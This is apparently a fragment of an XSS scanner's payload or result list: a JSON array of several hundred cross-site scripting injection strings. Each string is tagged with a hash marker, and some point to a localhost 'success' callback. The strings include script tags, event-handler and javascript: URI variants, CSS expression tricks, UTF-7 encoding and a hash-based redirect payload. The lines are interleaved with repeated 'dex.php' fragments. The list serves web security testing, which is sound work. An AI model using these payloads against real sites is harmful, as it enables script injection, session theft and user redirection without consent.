      "\"><SCRIPT>alert('c21c5396e778c1a0a04c1fa34b871a75')</SCRIPT>\n",
      "\">0bf535f341077ece5ce3a0b25ab27737\n",
      "'';!--\"<3027ae218477abfc1b60a8b14904d812>=&{()}\"\n",
      "</TITLE>d511ba737052c543f956b1af26209592\n",
      "\"><img src=\"x:x\" onerror=\"ffffb0058d6ccb7cf7dc20c301c84b60\">\n",
      "'';!--\"<4f125761bd7128ea6f044b66dcfe24dd>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=9a56c6c97070da49c58f3caf8919a2e7>\n",
      "<IMG SRC=`fb3c4d58d48b67c585e9d10bd12a87fa`>\n",
      "<IMG SRC=\"76e15eb48412cbc2707c1740d77ae158\">\n",
      "<IMG SRC=02389f2dea9628536777110f37c2cf4e>\n",
      "<IMG \"\"\">a8c26a613fd37da0c9dad084fbb57c93\">\n",
      "<IMG SRC=\" &#14;  1c1a8ba92df41574a0a385baf1342611\">\n",
      "<DIV STYLE=\"behaviour: url(7d039cde48ff3011849c6726b08f263a);\">\n",
      "<<SCRIPT>cec92fa510f8f054542bfdb21992378a//<</SCRIPT>\n",
      "\";50f7b2aede5aa89dbb946d7a62fe867e//\n",
      "<IMG SRC='0f039a8a07d998d18cf7f38a367d1fe3'\n",
      "<BODY BACKGROUND=\"8573d6375cbffde4d8676080006353a9\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"fcd68231808cfe46032a792ee1d95964\">\n",
      "<BODY ONLOAD=62eaec105b188791ff327ec05dcacb01>\n",
      "<IMG DYNSRC=\"d06cdcda45f671ca972d4387e2b41b9b\">\n",
      "<IMG LOWSRC=\"883ecefcabe8e41d533e16bb4d9f7727\">\n",
      "<BGSOUND SRC=\"a508fbf79ed9f206a2dabe33b95900be\">\n",
      "<BR SIZE=\"&{08a785225c0bc3b88716400c6cdea3ce}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"85e446dbbb0e9eacb79dc4fcd51b2626\">\n",
      "<IMG SRC='vbscript:4e909e6a7c73e954ea0cf465ae6fbbec'>\n",
      "<IMG SRC=\"mocha:[fbadcb855ecdbe0ff8c0d335654b5670]\">\n",
      "<IMG SRC=\"livescript:[9ed1eedbe8cd5eebd1b5fdfc05bed986]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=ba752afdaa85eeb852d860d08edfbcf2\">\n",
      "<TABLE BACKGROUND=\"c616d11d6364ff29c3cbe9c2105d8ddf\">\n",
      "<TABLE BACKGROUND=javascript:11d99ea0da29d804717204954960d301>\n",
      "<TABLE><TD BACKGROUND=\"2aa74112e4febcdb9b7dee2a3514e922\">\n",
      "<DIV STYLE=\"background-image: url(409e2f856e2e18d1a0d3cdbcbcb069a9);\">\n",
      "<DIV STYLE=\"width: expression(0e7f8ca78ea2c9c7c28b9f82dce37b3f);\">\n",
      "<IFRAME SRC=\"676f357f1672757582403c37657ea38f\"></IFRAME>\n",
      "<iframe/ /onload=4b02d03cdd30ee3f2fc43ffa42489c8c></iframe>\n",
      "<iframe/ \"onload=db61126607e252c5e9b61045de829287></iframe>\n",
      "<iframe///////onload=b84266533b6ee27e5f39b308562a0b12></iframe>\n",
      "<iframe \"onload=67fbcce4a930997a1d4103a35914afec></iframe>\n",
      "<iframe/ \"onload=494ed2ee3c70c6409cac3e3144a49718></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=b310e5b670b4d66524df1124526c3d15></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=57ead6b9a7d0e1c3ddf3bd763a3be40f></iframe>\n",
      "<FRAMESET><FRAME SRC=\"590ec01a9bdcdcd1707aec7e7e2ba5af\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"e19cda5ab0ac4c0f05867ee0922dff89\">\n",
      "<TABLE><TD BACKGROUND=\"e7d74ecc3843ab946ddbffdbcf8f9482\">\n",
      "<DIV STYLE=\"background-image: url(&#1;1f328db11db003db827bfe8daf239fff)\">\n",
      "<DIV STYLE=\"width: expression(0bf420e3f09ed97efaa7601a5866a58d);\">\n",
      "<IMG STYLE=\"xss:expr/*dc54f560f5eab7e4b167ef492e4bf025*/ession(dc54f560f5eab7e4b167ef492e4bf025)\">\n",
      "<62cc961875b68a523b724dc91aa1b600 STYLE=\"xss:expression(62cc961875b68a523b724dc91aa1b600)\">\n",
      "<STYLE TYPE=\"text/javascript\">2b8dcc6fe1b73dcb7a2aa40190a1685b</STYLE>\n",
      "<STYLE>.907b02d28ab8e98c37dae0e96819f8ce{background-image:url(\"907b02d28ab8e98c37dae0e96819f8ce\");}</STYLE><A CLASS=907b02d28ab8e98c37dae0e96819f8ce></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"f1dbb3270e2ce1b13c0e37f9d323c11f\")}</STYLE>\n",
      "<BASE HREF=\"e074097944a0289b31686500e4bde6fb//\">\n",
      "<!--[if gte IE 4]>a984a4827bacdc6ddb0b5cd82a790113<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=db1aaefdf6649d7985c876ccf2d6d793></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"1a8052275ef78d609a59963ca5a31b9b\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>572fffdfc078002f33c8c9e474c18eb0</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>2edbb51dbea96779707f88b4397decc2</SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;1f9afa2aa4e3556b3774c05f184dba09&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:c904157d729be2a15c1bf90fd6014030\">\n",
      "<IMG SRC=\"&14;javascript:758eab0206d4bef625e6df9f19cf2676\">\n",
      "--- <IMG SRC=\" &#14;  e0b4d11cdf490e46c275468d42fd1965\">\n",
      "--- <IMG SRC=\"7923df0b34b273698d6540682615ffaa\"\n",
      "<SCRIPT>a=/4bf1562e44d4c5b08632d5bbd2b4b018/alert(a.source)</SCRIPT>\n",
      "--- \";01784a79b495b61c91940d0feb89d692;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=a7337cfc72fc2bd039a905a720878f50\">\n",
      "<LAYER SRC=\"javascript:0697135eecebfc256c0b9647b0177bdd></LAYER>\n",
      "<SCRIPT>a=/4904da54297c326c4ada830e2fea604d/n4904da54297c326c4ada830e2fea604d</SCRIPT>\n",
      "<IFRAME SRC=\"javascript:677ef78e595c4eed54cc3604716a503f <\n",
      "<SCRIPT <B>=7477df7d96e7ea5f3843ed4a1b0be43a\"></SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"2226205bb22cc12a02e2ad0cd91ee61f</STYLE><UL><LI>2226205bb22cc12a02e2ad0cd91ee61f\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:632bbf2d771dea3150aa5c8d1f539e86\">\n",
      "<a href=\"javascript#c864d1404fd596412418e9f8692c68e4\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-053b36145ec23ef65aad332436e4da01+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"d932a9f2a05f94469e4b10d3588fbaf8\">\n",
      "&6f85625e06ca6c728bf2507e56a02c13\">\n",
      "&{2945a16eb8cc6328304f24a4f9a126cf};\n",
      "<IMG SRC=&{7a41fbc3d75dbcb3c2a89274473ffee1};>\n",
      "<a href=\"about:0cd804044b70f24de91396bbc719e17a\">\n",
      "<DIV STYLE=\"binding: url(javascript:b7d9f70aefc7f0851e6aef0b49ac5e66);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:ea63567ec0e7b7b04a9234b09c4e677a\">\n",
      "<style><!--</style><SCRIPT>1c3a5955103192244cb3bf865a591bb2//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>190c9618c19bc7c2caeae26702ee984e;<b></a></xml>\n",
      "![CDATA[<!--]]<SCRIPT>fd89f2bf7a882cd21c824d25fb8ed868//--></SCRIPT>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#a9a408c542639a486e05ddede145b953\"></div>\n",
      "<!-- -- -->a23d4d7e0a96af5ecd204a42d0e79248<!-- -- -->\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:42b772663f720e0c133a980a2bd6a8ce\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:5af46493d95a7c6cc19294f0c46c0ace\">X\n",
      "<textarea onfocus=javascript:92b4d8eaf8ac398f967126e1f9d63444 autofocus>\n",
      "<keygen onfocus=javascript:8c0772a02b18e2952c6e464de65992d0 autofocus>\n",
      "<input onfocus=javascript:fc50cb9e6eb2eaeae06b52611c4d8e82 autofocus>\n",
      "<select onfocus=javascript:99522105c848a7d82f325271d6b82ec7 autofocus>\n",
      "<input onblur=javascript:93c11aff8007a67f9f02ec5edd337caf autofocus><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:7ccd5fae30fa20d068e0d734a1a6cc90>X\n",
      "X<form id=test onforminput=javascript:63bcf7ec46f3f99e44c4fe3af251cf0c><input></form>\n",
      "<body onscroll=bbf5561932d1efdf6d4348ecd154aff9><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video><source onerror=\"javascript:47e3b732e9ad20dfde82258186db4935\">\n",
      "<video onerror=\"javascript:a3b4cb203151a775ddbbd7af3eee21ed\"><source>\n",
      "<video poster=javascript:72f427cceb5841fff337721e04f1c950//\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/8573d6375cbffde4d8676080006353a9\">\n",
      "<IMG SRC='http://localhost:19084/success/0f039a8a07d998d18cf7f38a367d1fe3'\n",
      "<IMG SRC=\"http://localhost:19084/success/76e15eb48412cbc2707c1740d77ae158\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/ffffb0058d6ccb7cf7dc20c301c84b60\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG LOWSRC=\"http://localhost:19084/success/883ecefcabe8e41d533e16bb4d9f7727\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "\"><SCRIPT>alert('http://localhost:19084/success/c21c5396e778c1a0a04c1fa34b871a75')</SCRIPT>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/7923df0b34b273698d6540682615ffaa\"\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG SRC=http://localhost:19084/success/02389f2dea9628536777110f37c2cf4e>\n",
      "<IMG SRC=`http://localhost:19084/success/fb3c4d58d48b67c585e9d10bd12a87fa`>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/2aa74112e4febcdb9b7dee2a3514e922\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/fbadcb855ecdbe0ff8c0d335654b5670]\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/d06cdcda45f671ca972d4387e2b41b9b\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "dex.php\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/fcd68231808cfe46032a792ee1d95964\">\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/f1dbb3270e2ce1b13c0e37f9d323c11f\")}</STYLE>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/590ec01a9bdcdcd1707aec7e7e2ba5af\"></FRAMESET>\n",
      "dex.php\n",
      "<IFRAME SRC=\"http://localhost:19084/success/676f357f1672757582403c37657ea38f\"></IFRAME>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/a508fbf79ed9f206a2dabe33b95900be\">\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/1a8052275ef78d609a59963ca5a31b9b\")\";eval(a+b+c+d);\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "dex.php\n",
      "dex.php\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/e7d74ecc3843ab946ddbffdbcf8f9482\">\n",
      "dex.php\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/85e446dbbb0e9eacb79dc4fcd51b2626\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/c616d11d6364ff29c3cbe9c2105d8ddf\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "dex.php\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/4e909e6a7c73e954ea0cf465ae6fbbec'>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "dex.php\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/9ed1eedbe8cd5eebd1b5fdfc05bed986]\">\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/e19cda5ab0ac4c0f05867ee0922dff89\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/2edbb51dbea96779707f88b4397decc2</SCRIPT>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/907b02d28ab8e98c37dae0e96819f8ce\");}</STYLE><A CLASS=XSS></A>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/d932a9f2a05f94469e4b10d3588fbaf8\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<IMG SRC=&{http://localhost:19084/success/7a41fbc3d75dbcb3c2a89274473ffee1};>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\">9672ef76aed7f991f1af1f13a25034fe\n",
      "</TITLE>760e626579bc1b08b7677c6b26797061\n",
      "\"><SCRIPT>alert('9a927bf3ddbb0c96c0728b6ecf62bb64')</SCRIPT>\n",
      "'';!--\"<c604396037cda5f09ffb555d44ea23b8>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"7fcfcfb9b242e46eecad2fcf0873e5c0\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=168cbc66dc87f4f8e5cb31bd42c89011>\n",
      "<IMG SRC=\"fb5d973b96136e4208e223b897d87b7e\">\n",
      "'';!--\"<31947160736fc1dfb91baf0b1cdd6b15>=&{()}\"\n",
      "<IMG SRC=15fe711e1cc91b2d8656450ea0b19c1e>\n",
      "<IMG \"\"\">aaf032f01c167fb89b1946be1c65abc9\">\n",
      "<IMG SRC=`9b4d738ff881a18656246a3e43e9e7a0`>\n",
      "<IMG SRC=\" &#14;  ebba595527829d43e22412f84cbd036d\">\n",
      "<DIV STYLE=\"behaviour: url(a96e110c140cad84eb8c4a652ba8d346);\">\n",
      "<<SCRIPT>8286cfcb13357ea0b0dfb1fcff957cf6//<</SCRIPT>\n",
      "\";4438cd344735833a0897418b986243db//\n",
      "<IMG SRC='d022ab4cd0824b0d44336a2694cba712'\n",
      "<BODY BACKGROUND=\"39b2b039933b0dc114b9682634b2ccb3\">\n",
      "<BODY ONLOAD=3588faa9f1d7ecfd4fbf2c45f3527f1e>\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"dc5e4f26d262bc286a9ebd34c7c76784\">\n",
      "<IMG DYNSRC=\"4fb2387e1ef6ce32dfc013c6d9ddc76b\">\n",
      "<IMG LOWSRC=\"f13c5ee8a12c539ae7f3c2e024dc3f61\">\n",
      "<BGSOUND SRC=\"9306cce18086165c4c3916e5dda0161c\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"d5406cfef6346eb781842fbb2992fa88\">\n",
      "<BR SIZE=\"&{b6c85b47bbfb00f5b367f0184a19b102}\">\n",
      "<IMG SRC='vbscript:83974f0fe68ae53e480e3af8d9505668'>\n",
      "<IMG SRC=\"mocha:[550c96a497cbc11d93991dd82907220a]\">\n",
      "<IMG SRC=\"livescript:[ca84d2585808787871f5af52adabf809]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=771e552e54619a6fb6de191eb99971fc\">\n",
      "<TABLE BACKGROUND=\"502bef073677ee3a80e1ba45a2439268\">\n",
      "<TABLE><TD BACKGROUND=\"3b399a667d70bd38b386de4e322fc9a1\">\n",
      "<TABLE BACKGROUND=javascript:de070cb99053dec23c9674aa9f772a11>\n",
      "<DIV STYLE=\"background-image: url(63bf608f31820be750cdcfef0dec89cd);\">\n",
      "<DIV STYLE=\"width: expression(1d7f53557f865a6b1152c6921a84f801);\">\n",
      "<IFRAME SRC=\"07a31d0d78cb91fb0d41a005a7876539\"></IFRAME>\n",
      "<iframe/ /onload=69dcec0fba19e5efa9253a984d8f3eb6></iframe>\n",
      "<iframe/ \"onload=f13fbe3cc6384d556d31bcd324c1e0af></iframe>\n",
      "<iframe \"onload=9b4f04514a16c0902c659cd281b558f0></iframe>\n",
      "<iframe/ \"onload=edd966982f674a3df622b4c2120c503e></iframe>\n",
      "<iframe///////onload=726f5caf32c78404cf9f30fc30af3395></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=b69e756dab57f96a62efa85727d18049></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=f45c56f2dbdc1e9c1ffc5fd38e9cf31d></iframe>\n",
      "<TABLE><TD BACKGROUND=\"75b1ae2dd4267119c59c5221d98fca34\">\n",
      "<TABLE BACKGROUND=\"4cca0cee316501952fa95c38f8ae4a3b\">\n",
      "<FRAMESET><FRAME SRC=\"3dc575685ab2db685d35adfacf01305d\"></FRAMESET>\n",
      "<DIV STYLE=\"background-image: url(&#1;9e61cb9cafd48387d7f5d42c0cbbd75a)\">\n",
      "<DIV STYLE=\"width: expression(7c01bf6c9ad9cd4df02b3c6f8644d987);\">\n",
      "<IMG STYLE=\"xss:expr/*92545f4b44bb95c8f05f922b466c5eec*/ession(92545f4b44bb95c8f05f922b466c5eec)\">\n",
      "<fce17a42cdde78103b06edb17c8e20a4 STYLE=\"xss:expression(fce17a42cdde78103b06edb17c8e20a4)\">\n",
      "<STYLE TYPE=\"text/javascript\">fbaed89bc458b02cebe0fae89d11bf47</STYLE>\n",
      "<STYLE>.cf20a338a0d9e5c42c1d83bcd030ddad{background-image:url(\"cf20a338a0d9e5c42c1d83bcd030ddad\");}</STYLE><A CLASS=cf20a338a0d9e5c42c1d83bcd030ddad></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"6f10373468ab3520fdb1e23bfd74ad4b\")}</STYLE>\n",
      "<!--[if gte IE 4]>66b55df5e44973818d0c93aa28948c93<![endif]-->\n",
      "<BASE HREF=\"918f08ba13e1bfa891a9b25e27d511ae//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"117a19e1385d03e3451159edb02e4f7e\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>c68aac7f41f294be9a070d7dfac42623</SCRIPT>'); ?>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=a4c5980a67289feca5f9e1a7143386a2></OBJECT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;ecd2da312f005d9298daefe1201ec1a6&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>37771ca7fad8f470d1cf20c032b05ff7</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:798178a678277458dfa4a8fb325b98ae\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:8dda8fd4a55bc43cded04e443f90030b\">\n",
      "--- <IMG SRC=\" &#14;  9e9bc5419d043b8b99ac1ef3ad0f5b4a\">\n",
      "--- <IMG SRC=\"8ee1493a037062c9265087a076e8a389\"\n",
      "<SCRIPT>a=/4b4b74ffe3132685f4ab6c6817fe517c/alert(a.source)</SCRIPT>\n",
      "--- \";e694f80e3a5889b0d4ca64642d45456e;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=7e606ccf553a4739926a4aa57b3596bc\">\n",
      "<SCRIPT <B>=bc1294ace56981771a633e491bb5c665\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:4011a156c614640f777aa9c66c7565ca <\n",
      "<SCRIPT>a=/7b2c93f4ea650ca4d5383507cb05952a/n7b2c93f4ea650ca4d5383507cb05952a</SCRIPT>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:11a6170bd24304bf7f66a350e4d5e992\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-0d7f0a43d110cf56333438a620ebb74f+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"280d32f25a9093b5f0703e0c4399974c</STYLE><UL><LI>280d32f25a9093b5f0703e0c4399974c\n",
      "<LAYER SRC=\"javascript:88599c753c599ac14c663f45fc88c50d></LAYER>\n",
      "<a href=\"javascript#56e897ae7a9779ca6ed84a592b3780a6\">\n",
      "<a href=\"about:839251b1fff19eabe01eaa4b76095978\">\n",
      "&34412b9562bf2bf284970171f78f5398\">\n",
      "<input type=\"image\" dynsrc=\"9fc923d4592e2a4f2735945e0d9b658d\">\n",
      "<IMG SRC=&{1508518111bbd36ddf89590a7f8ae1e3};>\n",
      "&{f59e762bd1e28771118e58e9dfcef692};\n",
      "<DIV STYLE=\"binding: url(javascript:09bf68c33bbbe8b7d085649606a6f841);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:29a7f146093868d19c400e6330c7bb18\">\n",
      "<style><!--</style><SCRIPT>0b3e4b771e2b4db6239e7607d9b4d4f7//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>751a0e6acb6fb75fc270da835606a21c//--></SCRIPT>\n",
      "<!-- -- -->6bb0e63e9f4c3801530aadc3ea38afc1<!-- -- -->\n",
      "<xml id=\"X\"><a><b>62d045d5472ebe1ff5332e6136d72fb9;<b></a></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:1d3742b41513b34bfb00331fbb6ad04d\">X\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#ca4a219918c3c75e1128213aadcfa62b\"></div>\n",
      "<input onfocus=javascript:7568c25ba9699a301524d496f23da014 autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:7f2b27a26dc3d1b094474d833ffba6cd\">]]</C><X></xml>\n",
      "<textarea onfocus=javascript:852dbbeb104fb696aac0a12e11f07871 autofocus>\n",
      "<select onfocus=javascript:b44c69581e840e714daa111700d1bd98 autofocus>\n",
      "<input onblur=javascript:60bcc4e14cad6cc49c733c483949f966 autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:8cf54ab6b4191d165498e63ae7d057fc autofocus>\n",
      "<video poster=javascript:19d427cc854c64e4b879cf2219426442//\n",
      "X<form id=test onforminput=javascript:79fbf33823aacf7ed6784be8e46004d2><input></form>\n",
      "<video onerror=\"javascript:c92dbfe1513570350fe90d0462be3f1a\"><source>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:49d0ed9d6e1c9ffa30e4ad2751eb9cac>X\n",
      "<video><source onerror=\"javascript:c2698cacf565aafb7e7b4401a5ded0c8\">\n",
